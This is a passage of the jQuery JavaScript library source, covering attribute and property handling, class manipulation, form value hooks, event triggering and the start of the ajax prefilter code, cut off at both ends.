0,\n\t\t\tattrNames = value && value.match( rnotwhite );\n\n\t\tif ( attrNames && elem.nodeType === 1 ) {\n\t\t\twhile ( ( name = attrNames[ i++ ] ) ) {\n\t\t\t\tpropName = jQuery.propFix[ name ] || name;\n\n\t\t\t\t// Boolean attributes get special treatment (#10870)\n\t\t\t\tif ( jQuery.expr.match.bool.test( name ) ) {\n\n\t\t\t\t\t// Set corresponding property to false\n\t\t\t\t\telem[ propName ] = false;\n\t\t\t\t}\n\n\t\t\t\telem.removeAttribute( name );\n\t\t\t}\n\t\t}\n\t}\n} );\n\n// Hooks for boolean attributes\nboolHook = {\n\tset: function( elem, value, name ) {\n\t\tif ( value === false ) {\n\n\t\t\t// Remove boolean attributes when set to false\n\t\t\tjQuery.removeAttr( elem, name );\n\t\t} else {\n\t\t\telem.setAttribute( name, name );\n\t\t}\n\t\treturn name;\n\t}\n};\njQuery.each( jQuery.expr.match.bool.source.match( /\\w+/g ), function( i, name ) {\n\tvar getter = attrHandle[ name ] || jQuery.find.attr;\n\n\tattrHandle[ name ] = function( elem, name, isXML ) {\n\t\tvar ret, handle;\n\t\tif ( !isXML ) {\n\n\t\t\t// Avoid an infinite loop by temporarily removing this function from the getter\n\t\t\thandle = attrHandle[ name ];\n\t\t\tattrHandle[ name ] = ret;\n\t\t\tret = getter( elem, name, isXML ) != null ?\n\t\t\t\tname.toLowerCase() :\n\t\t\t\tnull;\n\t\t\tattrHandle[ name ] = handle;\n\t\t}\n\t\treturn ret;\n\t};\n} );\n\n\n\n\nvar rfocusable = /^(?:input|select|textarea|button)$/i,\n\trclickable = /^(?:a|area)$/i;\n\njQuery.fn.extend( {\n\tprop: function( name, value ) {\n\t\treturn access( this, jQuery.prop, name, value, arguments.length > 1 );\n\t},\n\n\tremoveProp: function( name ) {\n\t\treturn this.each( function() {\n\t\t\tdelete this[ jQuery.propFix[ name ] || name ];\n\t\t} );\n\t}\n} );\n\njQuery.extend( {\n\tprop: function( elem, name, value ) {\n\t\tvar ret, hooks,\n\t\t\tnType = elem.nodeType;\n\n\t\t// Don't get/set properties on text, comment and attribute nodes\n\t\tif ( nType === 3 || nType === 8 || nType === 2 ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {\n\n\t\t\t// Fix name and attach hooks\n\t\t\tname = jQuery.propFix[ name ] || name;\n\t\t\thooks = jQuery.propHooks[ name ];\n\t\t}\n\n\t\tif ( value !== undefined ) {\n\t\t\tif ( hooks && \"set\" in hooks &&\n\t\t\t\t( ret = hooks.set( elem, value, name ) ) !== undefined ) {\n\t\t\t\treturn ret;\n\t\t\t}\n\n\t\t\treturn ( elem[ name ] = value );\n\t\t}\n\n\t\tif ( hooks && \"get\" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) {\n\t\t\treturn ret;\n\t\t}\n\n\t\treturn elem[ name ];\n\t},\n\n\tpropHooks: {\n\t\ttabIndex: {\n\t\t\tget: function( elem ) {\n\n\t\t\t\t// elem.tabIndex doesn't always return the\n\t\t\t\t// correct value when it hasn't been explicitly set\n\t\t\t\t// http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/\n\t\t\t\t// Use proper attribute retrieval(#12072)\n\t\t\t\tvar tabindex = jQuery.find.attr( elem, \"tabindex\" );\n\n\t\t\t\treturn tabindex ?\n\t\t\t\t\tparseInt( tabindex, 10 ) :\n\t\t\t\t\trfocusable.test( elem.nodeName ) ||\n\t\t\t\t\t\trclickable.test( elem.nodeName ) && elem.href ?\n\t\t\t\t\t\t\t0 :\n\t\t\t\t\t\t\t-1;\n\t\t\t}\n\t\t}\n\t},\n\n\tpropFix: {\n\t\t\"for\": \"htmlFor\",\n\t\t\"class\": \"className\"\n\t}\n} );\n\nif ( !support.optSelected ) {\n\tjQuery.propHooks.selected = {\n\t\tget: function( elem ) {\n\t\t\tvar parent = elem.parentNode;\n\t\t\tif ( parent && parent.parentNode ) {\n\t\t\t\tparent.parentNode.selectedIndex;\n\t\t\t}\n\t\t\treturn null;\n\t\t}\n\t};\n}\n\njQuery.each( [\n\t\"tabIndex\",\n\t\"readOnly\",\n\t\"maxLength\",\n\t\"cellSpacing\",\n\t\"cellPadding\",\n\t\"rowSpan\",\n\t\"colSpan\",\n\t\"useMap\",\n\t\"frameBorder\",\n\t\"contentEditable\"\n], function() {\n\tjQuery.propFix[ this.toLowerCase() ] = this;\n} );\n\n\n\n\nvar rclass = /[\\t\\r\\n\\f]/g;\n\nfunction getClass( elem ) {\n\treturn elem.getAttribute && elem.getAttribute( \"class\" ) || \"\";\n}\n\njQuery.fn.extend( {\n\taddClass: function( value ) {\n\t\tvar classes, elem, cur, curValue, clazz, j, finalValue,\n\t\t\ti = 0;\n\n\t\tif ( jQuery.isFunction( value ) ) {\n\t\t\treturn this.each( function( j ) {\n\t\t\t\tjQuery( this ).addClass( value.call( this, j, getClass( this ) ) );\n\t\t\t} );\n\t\t}\n\n\t\tif ( typeof value === \"string\" && value ) {\n\t\t\tclasses = value.match( rnotwhite ) || [];\n\n\t\t\twhile ( ( elem = this[ i++ ] ) ) {\n\t\t\t\tcurValue = getClass( elem );\n\t\t\t\tcur = elem.nodeType === 1 &&\n\t\t\t\t\t( \" \" + curValue + \" \" ).replace( rclass, \" \" );\n\n\t\t\t\tif ( cur ) {\n\t\t\t\t\tj = 0;\n\t\t\t\t\twhile ( ( clazz = classes[ j++ ] ) ) {\n\t\t\t\t\t\tif ( cur.indexOf( \" \" + clazz + \" \" ) < 0 ) {\n\t\t\t\t\t\t\tcur += clazz + \" \";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Only assign if different to avoid unneeded rendering.\n\t\t\t\t\tfinalValue = jQuery.trim( cur );\n\t\t\t\t\tif ( curValue !== finalValue ) {\n\t\t\t\t\t\telem.setAttribute( \"class\", finalValue );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\tremoveClass: function( value ) {\n\t\tvar classes, elem, cur, curValue, clazz, j, finalValue,\n\t\t\ti = 0;\n\n\t\tif ( jQuery.isFunction( value ) ) {\n\t\t\treturn this.each( function( j ) {\n\t\t\t\tjQuery( this ).removeClass( value.call( this, j, getClass( this ) ) );\n\t\t\t} );\n\t\t}\n\n\t\tif ( !arguments.length ) {\n\t\t\treturn this.attr( \"class\", \"\" );\n\t\t}\n\n\t\tif ( typeof value === \"string\" && value ) {\n\t\t\tclasses = value.match( rnotwhite ) || [];\n\n\t\t\twhile ( ( elem = this[ i++ ] ) ) {\n\t\t\t\tcurValue = getClass( elem );\n\n\t\t\t\t// This expression is here for better compressibility (see addClass)\n\t\t\t\tcur = elem.nodeType === 1 &&\n\t\t\t\t\t( \" \" + curValue + \" \" ).replace( rclass, \" \" );\n\n\t\t\t\tif ( cur ) {\n\t\t\t\t\tj = 0;\n\t\t\t\t\twhile ( ( clazz = classes[ j++ ] ) ) {\n\n\t\t\t\t\t\t// Remove *all* instances\n\t\t\t\t\t\twhile ( cur.indexOf( \" \" + clazz + \" \" ) > -1 ) {\n\t\t\t\t\t\t\tcur = cur.replace( \" \" + clazz + \" \", \" \" );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Only assign if different to avoid unneeded rendering.\n\t\t\t\t\tfinalValue = jQuery.trim( cur );\n\t\t\t\t\tif ( curValue !== finalValue ) {\n\t\t\t\t\t\telem.setAttribute( \"class\", finalValue );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\ttoggleClass: function( value, stateVal ) {\n\t\tvar type = typeof value;\n\n\t\tif ( typeof stateVal === \"boolean\" && type === \"string\" ) {\n\t\t\treturn stateVal ? this.addClass( value ) : this.removeClass( value );\n\t\t}\n\n\t\tif ( jQuery.isFunction( value ) ) {\n\t\t\treturn this.each( function( i ) {\n\t\t\t\tjQuery( this ).toggleClass(\n\t\t\t\t\tvalue.call( this, i, getClass( this ), stateVal ),\n\t\t\t\t\tstateVal\n\t\t\t\t);\n\t\t\t} );\n\t\t}\n\n\t\treturn this.each( function() {\n\t\t\tvar className, i, self, classNames;\n\n\t\t\tif ( type === \"string\" ) {\n\n\t\t\t\t// Toggle individual class names\n\t\t\t\ti = 0;\n\t\t\t\tself = jQuery( this );\n\t\t\t\tclassNames = value.match( rnotwhite ) || [];\n\n\t\t\t\twhile ( ( className = classNames[ i++ ] ) ) {\n\n\t\t\t\t\t// Check each className given, space separated list\n\t\t\t\t\tif ( self.hasClass( className ) ) {\n\t\t\t\t\t\tself.removeClass( className );\n\t\t\t\t\t} else {\n\t\t\t\t\t\tself.addClass( className );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t// Toggle whole class name\n\t\t\t} else if ( value === undefined || type === \"boolean\" ) {\n\t\t\t\tclassName = getClass( this );\n\t\t\t\tif ( className ) {\n\n\t\t\t\t\t// Store className if set\n\t\t\t\t\tdataPriv.set( this, \"__className__\", className );\n\t\t\t\t}\n\n\t\t\t\t// If the element has a class name or if we're passed `false`,\n\t\t\t\t// then remove the whole classname (if there was one, the above saved it).\n\t\t\t\t// Otherwise bring back whatever was previously saved (if anything),\n\t\t\t\t// falling back to the empty string if nothing was stored.\n\t\t\t\tif ( this.setAttribute ) {\n\t\t\t\t\tthis.setAttribute( \"class\",\n\t\t\t\t\t\tclassName || value === false ?\n\t\t\t\t\t\t\"\" :\n\t\t\t\t\t\tdataPriv.get( this, \"__className__\" ) || \"\"\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t}\n\t\t} );\n\t},\n\n\thasClass: function( selector ) {\n\t\tvar className, elem,\n\t\t\ti = 0;\n\n\t\tclassName = \" \" + selector + \" \";\n\t\twhile ( ( elem = this[ i++ ] ) ) {\n\t\t\tif ( elem.nodeType === 1 &&\n\t\t\t\t( \" \" + getClass( elem ) + \" \" ).replace( rclass, \" \" )\n\t\t\t\t\t.indexOf( className ) > -1\n\t\t\t) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}\n} );\n\n\n\n\nvar rreturn = /\\r/g;\n\njQuery.fn.extend( {\n\tval: function( value ) {\n\t\tvar hooks, ret, isFunction,\n\t\t\telem = this[ 0 ];\n\n\t\tif ( !arguments.length ) {\n\t\t\tif ( elem ) {\n\t\t\t\thooks = jQuery.valHooks[ elem.type ] ||\n\t\t\t\t\tjQuery.valHooks[ elem.nodeName.toLowerCase() ];\n\n\t\t\t\tif ( hooks &&\n\t\t\t\t\t\"get\" in hooks &&\n\t\t\t\t\t( ret = hooks.get( elem, \"value\" ) ) !== undefined\n\t\t\t\t) {\n\t\t\t\t\treturn ret;\n\t\t\t\t}\n\n\t\t\t\tret = elem.value;\n\n\t\t\t\treturn typeof ret === \"string\" ?\n\n\t\t\t\t\t// Handle most common string cases\n\t\t\t\t\tret.replace( rreturn, \"\" ) :\n\n\t\t\t\t\t// Handle cases where value is null/undef or number\n\t\t\t\t\tret == null ? \"\" : ret;\n\t\t\t}\n\n\t\t\treturn;\n\t\t}\n\n\t\tisFunction = jQuery.isFunction( value );\n\n\t\treturn this.each( function( i ) {\n\t\t\tvar val;\n\n\t\t\tif ( this.nodeType !== 1 ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif ( isFunction ) {\n\t\t\t\tval = value.call( this, i, jQuery( this ).val() );\n\t\t\t} else {\n\t\t\t\tval = value;\n\t\t\t}\n\n\t\t\t// Treat null/undefined as \"\"; convert numbers to string\n\t\t\tif ( val == null ) {\n\t\t\t\tval = \"\";\n\n\t\t\t} else if ( typeof val === \"number\" ) {\n\t\t\t\tval += \"\";\n\n\t\t\t} else if ( jQuery.isArray( val ) ) {\n\t\t\t\tval = jQuery.map( val, function( value ) {\n\t\t\t\t\treturn value == null ? \"\" : value + \"\";\n\t\t\t\t} );\n\t\t\t}\n\n\t\t\thooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ];\n\n\t\t\t// If set returns undefined, fall back to normal setting\n\t\t\tif ( !hooks || !( \"set\" in hooks ) || hooks.set( this, val, \"value\" ) === undefined ) {\n\t\t\t\tthis.value = val;\n\t\t\t}\n\t\t} );\n\t}\n} );\n\njQuery.extend( {\n\tvalHooks: {\n\t\toption: {\n\t\t\tget: function( elem ) {\n\n\t\t\t\t// Support: IE<11\n\t\t\t\t// option.value not trimmed (#14858)\n\t\t\t\treturn jQuery.trim( elem.value );\n\t\t\t}\n\t\t},\n\t\tselect: {\n\t\t\tget: function( elem ) {\n\t\t\t\tvar value, option,\n\t\t\t\t\toptions = elem.options,\n\t\t\t\t\tindex = elem.selectedIndex,\n\t\t\t\t\tone = elem.type === \"select-one\" || index < 0,\n\t\t\t\t\tvalues = one ? null : [],\n\t\t\t\t\tmax = one ? index + 1 : options.length,\n\t\t\t\t\ti = index < 0 ?\n\t\t\t\t\t\tmax :\n\t\t\t\t\t\tone ? index : 0;\n\n\t\t\t\t// Loop through all the selected options\n\t\t\t\tfor ( ; i < max; i++ ) {\n\t\t\t\t\toption = options[ i ];\n\n\t\t\t\t\t// IE8-9 doesn't update selected after form reset (#2551)\n\t\t\t\t\tif ( ( option.selected || i === index ) &&\n\n\t\t\t\t\t\t\t// Don't return options that are disabled or in a disabled optgroup\n\t\t\t\t\t\t\t( support.optDisabled ?\n\t\t\t\t\t\t\t\t!option.disabled : option.getAttribute( \"disabled\" ) === null ) &&\n\t\t\t\t\t\t\t( !option.parentNode.disabled ||\n\t\t\t\t\t\t\t\t!jQuery.nodeName( option.parentNode, \"optgroup\" ) ) ) {\n\n\t\t\t\t\t\t// Get the specific value for the option\n\t\t\t\t\t\tvalue = jQuery( option ).val();\n\n\t\t\t\t\t\t// We don't need an array for one selects\n\t\t\t\t\t\tif ( one ) {\n\t\t\t\t\t\t\treturn value;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Multi-Selects return an array\n\t\t\t\t\t\tvalues.push( value );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn values;\n\t\t\t},\n\n\t\t\tset: function( elem, value ) {\n\t\t\t\tvar optionSet, option,\n\t\t\t\t\toptions = elem.options,\n\t\t\t\t\tvalues = jQuery.makeArray( value ),\n\t\t\t\t\ti = options.length;\n\n\t\t\t\twhile ( i-- ) {\n\t\t\t\t\toption = options[ i ];\n\t\t\t\t\tif ( option.selected =\n\t\t\t\t\t\t\tjQuery.inArray( jQuery.valHooks.option.get( option ), values ) > -1\n\t\t\t\t\t) {\n\t\t\t\t\t\toptionSet = true;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// Force browsers to behave consistently when non-matching value is set\n\t\t\t\tif ( !optionSet ) {\n\t\t\t\t\telem.selectedIndex = -1;\n\t\t\t\t}\n\t\t\t\treturn values;\n\t\t\t}\n\t\t}\n\t}\n} );\n\n// Radios and checkboxes getter/setter\njQuery.each( [ \"radio\", \"checkbox\" ], function() {\n\tjQuery.valHooks[ this ] = {\n\t\tset: function( elem, value ) {\n\t\t\tif ( jQuery.isArray( value ) ) {\n\t\t\t\treturn ( elem.checked = jQuery.inArray( jQuery( elem ).val(), value ) > -1 );\n\t\t\t}\n\t\t}\n\t};\n\tif ( !support.checkOn ) {\n\t\tjQuery.valHooks[ this ].get = function( elem ) {\n\t\t\treturn elem.getAttribute( \"value\" ) === null ? \"on\" : elem.value;\n\t\t};\n\t}\n} );\n\n\n\n\n// Return jQuery for attributes-only inclusion\n\n\nvar rfocusMorph = /^(?:focusinfocus|focusoutblur)$/;\n\njQuery.extend( jQuery.event, {\n\n\ttrigger: function( event, data, elem, onlyHandlers ) {\n\n\t\tvar i, cur, tmp, bubbleType, ontype, handle, special,\n\t\t\teventPath = [ elem || document ],\n\t\t\ttype = hasOwn.call( event, \"type\" ) ? event.type : event,\n\t\t\tnamespaces = hasOwn.call( event, \"namespace\" ) ? event.namespace.split( \".\" ) : [];\n\n\t\tcur = tmp = elem = elem || document;\n\n\t\t// Don't do events on text and comment nodes\n\t\tif ( elem.nodeType === 3 || elem.nodeType === 8 ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// focus/blur morphs to focusin/out; ensure we're not firing them right now\n\t\tif ( rfocusMorph.test( type + jQuery.event.triggered ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( type.indexOf( \".\" ) > -1 ) {\n\n\t\t\t// Namespaced trigger; create a regexp to match event type in handle()\n\t\t\tnamespaces = type.split( \".\" );\n\t\t\ttype = namespaces.shift();\n\t\t\tnamespaces.sort();\n\t\t}\n\t\tontype = type.indexOf( \":\" ) < 0 && \"on\" + type;\n\n\t\t// Caller can pass in a jQuery.Event object, Object, or just an event type string\n\t\tevent = event[ jQuery.expando ] ?\n\t\t\tevent :\n\t\t\tnew jQuery.Event( type, typeof event === \"object\" && event );\n\n\t\t// Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true)\n\t\tevent.isTrigger = onlyHandlers ? 2 : 3;\n\t\tevent.namespace = namespaces.join( \".\" );\n\t\tevent.rnamespace = event.namespace ?\n\t\t\tnew RegExp( \"(^|\\\\.)\" + namespaces.join( \"\\\\.(?:.*\\\\.|)\" ) + \"(\\\\.|$)\" ) :\n\t\t\tnull;\n\n\t\t// Clean up the event in case it is being reused\n\t\tevent.result = undefined;\n\t\tif ( !event.target ) {\n\t\t\tevent.target = elem;\n\t\t}\n\n\t\t// Clone any incoming data and prepend the event, creating the handler arg list\n\t\tdata = data == null ?\n\t\t\t[ event ] :\n\t\t\tjQuery.makeArray( data, [ event ] );\n\n\t\t// Allow special events to draw outside the lines\n\t\tspecial = jQuery.event.special[ type ] || {};\n\t\tif ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Determine event propagation path in advance, per W3C events spec (#9951)\n\t\t// Bubble up to document, then to window; watch for a global ownerDocument var (#9724)\n\t\tif ( !onlyHandlers && !special.noBubble && !jQuery.isWindow( elem ) ) {\n\n\t\t\tbubbleType = special.delegateType || type;\n\t\t\tif ( !rfocusMorph.test( bubbleType + type ) ) {\n\t\t\t\tcur = cur.parentNode;\n\t\t\t}\n\t\t\tfor ( ; cur; cur = cur.parentNode ) {\n\t\t\t\teventPath.push( cur );\n\t\t\t\ttmp = cur;\n\t\t\t}\n\n\t\t\t// Only add window if we got to document (e.g., not plain obj or detached DOM)\n\t\t\tif ( tmp === ( elem.ownerDocument || document ) ) {\n\t\t\t\teventPath.push( tmp.defaultView || tmp.parentWindow || window );\n\t\t\t}\n\t\t}\n\n\t\t// Fire handlers on the event path\n\t\ti = 0;\n\t\twhile ( ( cur = eventPath[ i++ ] ) && !event.isPropagationStopped() ) {\n\n\t\t\tevent.type = i > 1 ?\n\t\t\t\tbubbleType :\n\t\t\t\tspecial.bindType || type;\n\n\t\t\t// jQuery handler\n\t\t\thandle = ( dataPriv.get( cur, \"events\" ) || {} )[ event.type ] &&\n\t\t\t\tdataPriv.get( cur, \"handle\" );\n\t\t\tif ( handle ) {\n\t\t\t\thandle.apply( cur, data );\n\t\t\t}\n\n\t\t\t// Native handler\n\t\t\thandle = ontype && cur[ ontype ];\n\t\t\tif ( handle && handle.apply && acceptData( cur ) ) {\n\t\t\t\tevent.result = handle.apply( cur, data );\n\t\t\t\tif ( event.result === false ) {\n\t\t\t\t\tevent.preventDefault();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tevent.type = type;\n\n\t\t// If nobody prevented the default action, do it now\n\t\tif ( !onlyHandlers && !event.isDefaultPrevented() ) {\n\n\t\t\tif ( ( !special._default ||\n\t\t\t\tspecial._default.apply( eventPath.pop(), data ) === false ) &&\n\t\t\t\tacceptData( elem ) ) {\n\n\t\t\t\t// Call a native DOM method on the target with the same name name as the event.\n\t\t\t\t// Don't do default actions on window, that's where global variables be (#6170)\n\t\t\t\tif ( ontype && jQuery.isFunction( elem[ type ] ) && !jQuery.isWindow( elem ) ) {\n\n\t\t\t\t\t// Don't re-trigger an onFOO event when we call its FOO() method\n\t\t\t\t\ttmp = elem[ ontype ];\n\n\t\t\t\t\tif ( tmp ) {\n\t\t\t\t\t\telem[ ontype ] = null;\n\t\t\t\t\t}\n\n\t\t\t\t\t// Prevent re-triggering of the same event, since we already bubbled it above\n\t\t\t\t\tjQuery.event.triggered = type;\n\t\t\t\t\telem[ type ]();\n\t\t\t\t\tjQuery.event.triggered = undefined;\n\n\t\t\t\t\tif ( tmp ) {\n\t\t\t\t\t\telem[ ontype ] = tmp;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn event.result;\n\t},\n\n\t// Piggyback on a donor event to simulate a different one\n\tsimulate: function( type, elem, event ) {\n\t\tvar e = jQuery.extend(\n\t\t\tnew jQuery.Event(),\n\t\t\tevent,\n\t\t\t{\n\t\t\t\ttype: type,\n\t\t\t\tisSimulated: true\n\n\t\t\t\t// Previously, `originalEvent: {}` was set here, so stopPropagation call\n\t\t\t\t// would not be triggered on donor event, since in our own\n\t\t\t\t// jQuery.event.stopPropagation function we had a check for existence of\n\t\t\t\t// originalEvent.stopPropagation method, so, consequently it would be a noop.\n\t\t\t\t//\n\t\t\t\t// But now, this \"simulate\" function is used only for events\n\t\t\t\t// for which stopPropagation() is noop, so there is no need for that anymore.\n\t\t\t\t//\n\t\t\t\t// For the compat branch though, guard for \"click\" and \"submit\"\n\t\t\t\t// events is still used, but was moved to jQuery.event.stopPropagation function\n\t\t\t\t// because `originalEvent` should point to the original event for the constancy\n\t\t\t\t// with other events and for more focused logic\n\t\t\t}\n\t\t);\n\n\t\tjQuery.event.trigger( e, null, elem );\n\n\t\tif ( e.isDefaultPrevented() ) {\n\t\t\tevent.preventDefault();\n\t\t}\n\t}\n\n} );\n\njQuery.fn.extend( {\n\n\ttrigger: function( type, data ) {\n\t\treturn this.each( function() {\n\t\t\tjQuery.event.trigger( type, data, this );\n\t\t} );\n\t},\n\ttriggerHandler: function( type, data ) {\n\t\tvar elem = this[ 0 ];\n\t\tif ( elem ) {\n\t\t\treturn jQuery.event.trigger( type, data, elem, true );\n\t\t}\n\t}\n} );\n\n\njQuery.each( ( \"blur focus focusin focusout load resize scroll unload click dblclick \" +\n\t\"mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave \" +\n\t\"change select submit keydown keypress keyup error contextmenu\" ).split( \" \" ),\n\tfunction( i, name ) {\n\n\t// Handle event binding\n\tjQuery.fn[ name ] = function( data, fn ) {\n\t\treturn arguments.length > 0 ?\n\t\t\tthis.on( name, null, data, fn ) :\n\t\t\tthis.trigger( name );\n\t};\n} );\n\njQuery.fn.extend( {\n\thover: function( fnOver, fnOut ) {\n\t\treturn this.mouseenter( fnOver ).mouseleave( fnOut || fnOver );\n\t}\n} );\n\n\n\n\nsupport.focusin = \"onfocusin\" in window;\n\n\n// Support: Firefox\n// Firefox doesn't have focus(in | out) events\n// Related ticket - https://bugzilla.mozilla.org/show_bug.cgi?id=687787\n//\n// Support: Chrome, Safari\n// focus(in | out) events fire after focus & blur events,\n// which is spec violation - http://www.w3.org/TR/DOM-Level-3-Events/#events-focusevent-event-order\n// Related ticket - https://code.google.com/p/chromium/issues/detail?id=449857\nif ( !support.focusin ) {\n\tjQuery.each( { focus: \"focusin\", blur: \"focusout\" }, function( orig, fix ) {\n\n\t\t// Attach a single capturing handler on the document while someone wants focusin/focusout\n\t\tvar handler = function( event ) {\n\t\t\tjQuery.event.simulate( fix, event.target, jQuery.event.fix( event ) );\n\t\t};\n\n\t\tjQuery.event.special[ fix ] = {\n\t\t\tsetup: function() {\n\t\t\t\tvar doc = this.ownerDocument || this,\n\t\t\t\t\tattaches = dataPriv.access( doc, fix );\n\n\t\t\t\tif ( !attaches ) {\n\t\t\t\t\tdoc.addEventListener( orig, handler, true );\n\t\t\t\t}\n\t\t\t\tdataPriv.access( doc, fix, ( attaches || 0 ) + 1 );\n\t\t\t},\n\t\t\tteardown: function() {\n\t\t\t\tvar doc = this.ownerDocument || this,\n\t\t\t\t\tattaches = dataPriv.access( doc, fix ) - 1;\n\n\t\t\t\tif ( !attaches ) {\n\t\t\t\t\tdoc.removeEventListener( orig, handler, true );\n\t\t\t\t\tdataPriv.remove( doc, fix );\n\n\t\t\t\t} else {\n\t\t\t\t\tdataPriv.access( doc, fix, attaches );\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t} );\n}\nvar location = window.location;\n\nvar nonce = jQuery.now();\n\nvar rquery = ( /\\?/ );\n\n\n\n// Support: Android 2.3\n// Workaround failure to string-cast null input\njQuery.parseJSON = function( data ) {\n\treturn JSON.parse( data + \"\" );\n};\n\n\n// Cross-browser xml parsing\njQuery.parseXML = function( data ) {\n\tvar xml;\n\tif ( !data || typeof data !== \"string\" ) {\n\t\treturn null;\n\t}\n\n\t// Support: IE9\n\ttry {\n\t\txml = ( new window.DOMParser() ).parseFromString( data, \"text/xml\" );\n\t} catch ( e ) {\n\t\txml = undefined;\n\t}\n\n\tif ( !xml || xml.getElementsByTagName( \"parsererror\" ).length ) {\n\t\tjQuery.error( \"Invalid XML: \" + data );\n\t}\n\treturn xml;\n};\n\n\nvar\n\trhash = /#.*$/,\n\trts = /([?&])_=[^&]*/,\n\trheaders = /^(.*?):[ \\t]*([^\\r\\n]*)$/mg,\n\n\t// #7653, #8125, #8152: local protocol detection\n\trlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,\n\trnoContent = /^(?:GET|HEAD)$/,\n\trprotocol = /^\\/\\//,\n\n\t/* Prefilters\n\t * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example)\n\t * 2) These are called:\n\t *    - BEFORE asking for a transport\n\t *    - AFTER param serialization (s.data is a string if s.processData is true)\n\t * 3) key is the dataType\n\t * 4) the catchall symbol \"*\" can be used\n\t * 5) execution will start with transport dataType and THEN continue down to \"*\" if needed\n\t */\n\tprefilters = {},\n\n\t/* Transports bindings\n\t * 1) key is the dataType\n\t * 2) the catchall symbol \"*\" can be used\n\t * 3) selection will start with transport dataType and THEN go to \"*\" if needed\n\t */\n\ttransports = {},\n\n\t// Avoid comment-prolog char sequence (#10098); must appease lint and evade compression\n\tallTypes = \"*/\".concat( \"*\" ),\n\n\t// Anchor tag for parsing the document origin\n\toriginAnchor = document.createElement( \"a\" );\n\toriginAnchor.href = location.href;\n\n// Base \"constructor\" for jQuery.ajaxPrefilter and jQuery.ajaxTransport\nfunction addToPrefiltersOrTransports( structure ) {\n\n\t// dataTypeExpression is optional and defaults to \"*\"\n\treturn function( dataTypeExpression, func ) {\n\n\t\tif ( typeof dataTypeExpression !== \"string\" ) {\n\t\t\tfunc = dataTypeExpression;\n\t\t\tdataTypeExpression = \"*\";\n\t\t}\n\n\t\tvar dataType,\n\t\t\ti = 0,\n\t\t\tdataTypes = dataTypeExpression.toLowerCase().match( rnotwhite ) || [];\n\n\t\tif ( jQuery.isFunction( func ) ) {\n\n\t\t\t// For each dataType in the dataTypeExpression\n\t\t\twhile ( ( dataType = dataTypes[ i++ ] ) ) {\n\n\t\t\t\t// Prepend if requested\n\t\t\t\tif ( dataType[ 0 ] === \"+\" ) {\n\t\t\t\t\tdataType = dataType.slice( 1 ) || \"*\";\n\t\t\t\t\t( structure[ dataType ] = structure[ dataType ] || [] ).unshift( func );\n\n\t\t\t\t// Otherwise append\n\t\t\t\t} else {\n\t\t\t\t\t( structure[ dataType ] = structure[ dataType ] || [] ).push( func );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t};\n}\n\n// Base inspection function for prefilters and transports\nfunction inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) {\n\n\tvar inspected = {},\n\t\tseekingTransport = ( structure === transports );\n\n\tfunction inspect( dataType ) {\n\t\tvar selected;\n\t\tinspected[ dataType ] = true;\n\t\tjQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) {\n\t\t\tvar dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR );\n\t\t\tif ( typeof dataTypeOrTransport === \"string\" &&\n\t\t\t\t!seekingTransport && !inspected[ dataTypeOrTransport ] ) {\n\n\t\t\t\toptions.dataTypes.unshift( dataTypeOrTransport );\n\t\t\t\tinspect( dataTypeOrTransport );\n\t\t\t\treturn false;\n\t\t\t} else if ( seekingTransport ) {\n\t\t\t\treturn !( selected = dataTypeOrTransport );\n\t\t\t}\n\t\t} );\n\t\treturn selected;\n\t}\n\n\treturn inspect( options.dataTypes[ 0 ] ) || !inspected[ \"*\" ] && inspect( \"*\" );\n}\n\n// A special extend for ajax options\n// that takes \"flat\" options (not to be deep extended)\n// Fixes #9887\nfunction ajaxExtend( target, src ) {\n\tvar key, deep,\n\t\tflatOptions = jQuery.ajaxSettings.flatOptions || {};\n\n\tfor ( key in src ) {\n\t\tif ( src[ key ] !== undefined ) {\n\t\t\t( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ];\n\t\t}\n\t}\n\tif ( deep ) {\n\t\tjQuery.extend( true, target, deep );\n\t}\n\n\treturn target;\n}\n\n/* Handles responses to an ajax request:\n * - finds the right dataType (mediates between content-type and expected dataType)\n * - returns the corresponding response\n */\nfunction ajaxHandleResponses( s, jqXHR, responses ) {\n\n\tvar ct, type, finalDataType, firstDataType,\n\t\tcontents = s.contents,\n\t\tdataTypes = s.dataTypes;\n\n\t// Remove auto dataType and get content-type in the process\n\twhile ( dataTypes[ 0 ] === \"*\" ) {\n\t\tdataTypes.shift();\n\t\tif ( ct === undefined ) {\n\t\t\tct = s.mimeType || jqXHR.getResponseHeader( \"Content-Type\" 